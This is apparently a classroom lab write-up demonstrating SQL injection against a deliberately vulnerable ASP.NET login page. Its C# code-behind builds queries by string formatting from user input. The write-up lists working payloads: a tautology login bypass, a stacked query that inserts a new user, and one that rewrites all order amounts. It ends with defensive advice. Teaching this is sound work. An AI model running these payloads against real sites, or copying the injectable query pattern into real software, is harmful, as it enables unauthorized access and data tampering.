Aim: Demonstrate of SQL Injection.

Theory:

SQL injection seems to have faded from prominence lately and has become just a buzz word. To make things a little more real I put together a quick demo for it, to demonstrate that you don't necessarily have to go out of your way to make your web application exploitable.

Here are the ingredients for this demo:

  1. ASP.NET application using System.Data.SqlClient to access a SQL database.

  2. SQLExpress (or any other db) with some tool to directly author to the database.


Setting up the Database

Used SQLExpress or inbuilt SQL database file i.e. (.mdf)

  • Enable the sa account and gave it a password.

  • Connect to the database with this account to make sure it works. You can use SQL Server Management Studio Express (SSMSE) to do this.

  • Create a database called WebApp and create tables as follows.

  • Untitled


SETTING UP A WEB APPLICATION ON YOUR SERVER


Here is the sample ASP.NET page

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="WebForm1.aspx.cs" Inherits="WebApplication1.WebForm1" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head runat="server">

<title></title>

</head>

<body>

<form id="form1" runat="server">


This is the Unsafe SQL Login Page.

Username:


<asp:TextBox ID="TextBoxUsername" runat="server" Width="200px">

</asp:TextBox>

<br />

<br />

Password:<br />

<asp:TextBox ID="TextBoxPassword" runat="server" Width="200px">

</asp:TextBox>

<br />

<br />

Result:<br />

<asp:Label ID="LabelResult" runat="server" Text="-"></asp:Label>

<br />

<br />

<asp:Button ID="ButtonLogin" runat="server" onclick="ButtonLogin_Click"

Text="Login" />

<br />

<br />

<asp:Label ID="LabelData" runat="server" Text="Here is your Order history"

Visible="False"></asp:Label>

<br />

<br />

<asp:GridView ID="GridView1" runat="server" Visible="False">

</asp:GridView>

<br />

<asp:Button ID="ButtonLogout" runat="server" onclick="ButtonLogout_Click"

Text="Logout" Visible="False" />

<br />

<br />

</form>

</body>

</html>

Here is the sample code-behind the ASP.Net page

using System;

using System.Collections.Generic;

using System.Linq;

using System.Web;

using System.Web.UI;

using System.Web.UI.WebControls;

using System.Data.SqlClient;

using System.Data;

namespace WebApplication1

{

public partial class WebForm1 : System.Web.UI.Page

{

private string _username;

private string _password;

private bool _loggedIn = false;

private string _connString =

@"Data Source=.SQLEXPRESS;AttachDbFilename=|DataDirectory|WebApp.mdf;Integrated Security=True;User Instance=True";

private SqlConnection _sqlConn = null;

protected void ButtonLogin_Click(object sender, EventArgs e)

{

_username = Request["TextBoxUsername"];

_password = Request["TextBoxPassword"];

if (!IsNonEmptyCredentials())

{

LabelResult.Text = "ERROR: Cannot have empty credentials.";

return;

}

if (AttemptSQLLogin())

{

// Login succeeded

// Fill order data

FillOrderData();

EnableLoggedInVisuals();

}

else

{

DisableLoggedInVisuals();

}

}

protected bool IsNonEmptyCredentials()

{

if (_username == null ||

_username.Length == 0 ||

_password == null ||

_password.Length == 0)

{

return false;

}

else return true;

}

protected bool AttemptSQLLogin()

{

try

{

_sqlConn = new SqlConnection(_connString);

_sqlConn.Open();

}

catch (Exception ex)

{

LabelResult.Text = String.Format(

"ERROR: Failed to open SQL Connection: {0}", ex.Message);

return false;

}

SqlDataReader dataReader = null;

string SQLQuery = String.Format(

"SELECT * FROM Users WHERE Username='{0}' AND Password='{1}'",

_username, _password);

SqlCommand command = new SqlCommand(SQLQuery, _sqlConn);

try

{

dataReader = command.ExecuteReader(CommandBehavior.SingleResult);

if (dataReader.HasRows)

{

LabelResult.Text = String.Format("Login success");

dataReader.Close();

_loggedIn = true;

return true;

}

else

{

LabelResult.Text = String.Format(

"Login failed: Invalid credentials");

dataReader.Close();

return false;

}

}

catch (Exception ex)

{

LabelResult.Text = String.Format(

"ERROR: Failed to execute SQL command: {0}", ex.Message);

return false;

}

//return true;

}

protected bool FillOrderData()

{

SqlDataReader dataReader = null;

if (!_loggedIn)

{

LabelResult.Text = "No user logged it";

return false;

}

string SQLQuery = String.Format(

"SELECT Orders.OrderId, Orders.Amount, Orders.CreditCard " +

"FROM Users, Orders WHERE Users.Username='{0}' " +

"AND Users.UserId=Orders.UserId", _username);

SqlCommand command = new SqlCommand(SQLQuery, _sqlConn);

try

{

dataReader = command.ExecuteReader(CommandBehavior.Default);

GridView1.DataSource = dataReader;

GridView1.DataBind();

dataReader.Close();

return true;

}

catch (Exception ex)

{

LabelResult.Text = String.Format(

"ERROR: Failed to execute SQL command: {0}", ex.Message);

return false;

}

}

protected void ButtonLogout_Click(object sender, EventArgs e)

{

LabelResult.Text = "Logged Out";

_loggedIn = false;

_username = "";

_password = "";

DisableLoggedInVisuals();

}

protected void EnableLoggedInVisuals()

{

ButtonLogin.Enabled = false;

ButtonLogin.Visible = false;

LabelData.Visible = true;

GridView1.Enabled = true;

GridView1.Visible = true;

ButtonLogout.Enabled = true;

ButtonLogout.Visible = true;

}

protected void DisableLoggedInVisuals()

{

ButtonLogin.Enabled = true;

ButtonLogin.Visible = true;

LabelData.Visible = false;

GridView1.Enabled = false;

GridView1.Visible = false;

ButtonLogout.Enabled = false;

ButtonLogout.Visible = false;

}

}

}

 

MAKING THE SQL INJECTION REQUESTS


Now onto the fun part. Let's say we have a user 'Foo' with password 'foo' in our Users table for the purpose of this exercise.

  1. Trying an invalid user/password.Username: Unknown
    Password: unknownUntitled



  1. Bypassing login for a known user. Let's say we know user 'Foo' exists.Username: admin
    Password: adminUntitled



  1. Bypassing login for unknown user. Let's say we don't know any user on the site.Username: ' OR 1='1
    Password: adminUntitled



  1. Bypassing login for unknown user and password. Let's say we don't know any user on the site.Username: ' OR 1='1
    Password: ' OR 1='1Untitled


We used a tautology (1=1) to bypass all security checks. Notice that I know have the order information for *all* users.

  1. Injecting a new user. Let's say I want to add a user 'Hijack' with password 'This'.Username: ';INSERT INTO Users VALUES (100,'Hijack','This');select * from users where username='
    Password: ‘ OR 1=’1

  2. UntitledUntitled


  3. Changing price of all orders to amount*0.2 (increase amount by 0.2)Username: ';Update orders set amount=amount*0.2;select * from users where Username='


       Password: ‘ OR 1=’1

UntitledUntitled

CONCLUSION


It is quite easy to see how quickly one can invade a system through the use of SQL injection. The million dollar question is "How do I protect myself "? The answer is, follow best practices.

  • Sanitize your input using both black lists and white lists.

  • Use parameterized SQL and NEVER use string concatenation to generate queries.

  • Protect your database resources wisely and use the notion of "least privilege" to access information.